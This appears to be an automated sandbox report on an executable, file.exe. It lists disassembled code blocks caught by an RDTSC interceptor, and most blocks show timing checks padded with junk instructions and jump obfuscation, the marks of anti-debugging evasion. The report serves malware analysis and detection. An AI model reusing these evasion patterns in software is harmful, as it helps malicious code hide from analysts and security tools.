Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B81D second address: E2B878 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3A607FD8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F3A607FD8C7h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a pushad 0x0000001b ja 00007F3A607FD8B6h 0x00000021 push esi 0x00000022 pop esi 0x00000023 popad 0x00000024 push edx 0x00000025 jmp 00007F3A607FD8C6h 0x0000002a pop edx 0x0000002b popad 0x0000002c mov eax, dword ptr [eax] 0x0000002e push eax 0x0000002f push edx 0x00000030 jc 00007F3A607FD8B8h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B878 second address: E2B897 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B681h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31B87 second address: E31B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3A607FD8B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31B91 second address: E31B95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31EE4 second address: E31F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A607FD8C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E31F00 second address: E31F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32055 second address: E32069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3A607FD8B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F3A607FD8B6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32069 second address: E32073 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3A6094B676h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E321DA second address: E321DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E321DE second address: E3221C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F3A6094B687h 0x0000000d pushad 0x0000000e jg 00007F3A6094B678h 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jnp 00007F3A6094B676h 0x0000001e jmp 00007F3A6094B67Eh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3265A second address: E3265F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3265F second address: E32665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32665 second address: E32671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E32671 second address: E326A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F3A6094B68Dh 0x00000011 push ecx 0x00000012 je 00007F3A6094B676h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E326A2 second address: E326A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5AD1 second address: DB5ADC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5ADC second address: DB5AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A607FD8BBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB5AEC second address: DB5AF6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3A6094B67Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AD99 second address: E3ADA9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F3A607FD8BAh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3ADA9 second address: E3ADAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3ADAF second address: E3ADB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AF25 second address: E3AF29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B3BC second address: E3B3D0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3A607FD8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F3A607FD8B6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B3D0 second address: E3B41F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3A6094B67Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jng 00007F3A6094B67Eh 0x00000013 jbe 00007F3A6094B67Ah 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pushad 0x0000001c popad 0x0000001d jl 00007F3A6094B682h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F3A6094B67Ah 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B41F second address: E3B423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B567 second address: E3B57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3A6094B67Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B57C second address: E3B582 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B582 second address: E3B588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B588 second address: E3B590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3B590 second address: E3B594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AB2E second address: E3AB35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F52A second address: E3F53C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3A6094B67Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F53C second address: E3F55B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3A607FD8B6h 0x0000000a jmp 00007F3A607FD8C5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45D12 second address: E45D5A instructions: 0x00000000 rdtsc 0x00000002 js 00007F3A6094B676h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 jmp 00007F3A6094B67Ah 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007F3A6094B67Ah 0x00000026 popad 0x00000027 jmp 00007F3A6094B687h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45D5A second address: E45D6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3A607FD8BBh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45D6C second address: E45D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44A9A second address: E44AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F3A607FD8B6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A255 second address: E4A25B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4A25B second address: E4A29A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007F3A607FD8C9h 0x0000000f pushad 0x00000010 jmp 00007F3A607FD8C0h 0x00000015 push eax 0x00000016 pop eax 0x00000017 jbe 00007F3A607FD8B6h 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49189 second address: E4918F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4918F second address: E49193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49193 second address: E4919D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3A6094B676h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03024 second address: E0302B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0322E second address: E03232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03949 second address: E0394D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0394D second address: E03953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03953 second address: E039A6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3A607FD8B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F3A607FD8B8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 movsx ecx, di 0x0000002a jmp 00007F3A607FD8C3h 0x0000002f push 0000001Eh 0x00000031 nop 0x00000032 pushad 0x00000033 jp 00007F3A607FD8B8h 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E039A6 second address: E039AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03CB8 second address: E03CC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03CC9 second address: E03CE8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3A6094B676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F3A6094B678h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 jng 00007F3A6094B684h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03CE8 second address: E03CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03CEC second address: E03CFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03CFC second address: E03D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03D00 second address: E03D06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03E03 second address: E03E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F3A607FD8B8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push esi 0x00000023 add dword ptr [ebp+122D269Bh], ecx 0x00000029 pop edx 0x0000002a push edi 0x0000002b jmp 00007F3A607FD8C2h 0x00000030 pop edx 0x00000031 mov ch, ah 0x00000033 lea eax, dword ptr [ebp+12474756h] 0x00000039 mov ecx, dword ptr [ebp+122D1BAAh] 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push esi 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03E59 second address: E03E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03E5E second address: DED59A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F3A607FD8B8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1A22h], ecx 0x0000002b mov edx, edi 0x0000002d call dword ptr [ebp+122D191Bh] 0x00000033 jmp 00007F3A607FD8C9h 0x00000038 pushad 0x00000039 pushad 0x0000003a push edi 0x0000003b pop edi 0x0000003c jmp 00007F3A607FD8BEh 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49744 second address: E49751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49751 second address: E49755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E499D1 second address: E499D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49B32 second address: E49B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49B38 second address: E49B64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jo 00007F3A6094B678h 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007F3A6094B681h 0x00000018 js 00007F3A6094B676h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49C80 second address: E49C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49C86 second address: E49C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3A6094B67Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49C9A second address: E49CBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3A607FD8C8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49E0D second address: E49E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49E16 second address: E49E36 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 je 00007F3A607FD8B8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 pushad 0x00000016 jg 00007F3A607FD8B6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC6C6 second address: DBC6CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC6CC second address: DBC6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC6D1 second address: DBC6EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3A6094B685h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC6EB second address: DBC6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBC6F1 second address: DBC713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3A6094B685h 0x00000009 popad 0x0000000a js 00007F3A6094B67Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EFB2 second address: E4EFCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3A607FD8C1h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EFCB second address: E4EFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F3A6094B681h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F2EE second address: E4F311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3A607FD8C9h 0x00000009 jnp 00007F3A607FD8B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F4B8 second address: E4F4C4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3A6094B676h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F4C4 second address: E4F4CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F4CC second address: E4F4DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F4DA second address: E4F4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E549F3 second address: E54A0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F3A6094B67Ah 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54A0B second address: E54A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3A607FD8C9h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54A2C second address: E54A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54CDE second address: E54CFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3A607FD8BEh 0x0000000f jnc 00007F3A607FD8B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54CFC second address: E54D18 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F3A6094B67Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F3A6094B682h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54D18 second address: E54D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0374F second address: E03753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03753 second address: E0376D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A607FD8C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03843 second address: E03853 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B67Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03853 second address: E03859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03859 second address: E0385D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0385D second address: E03861 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
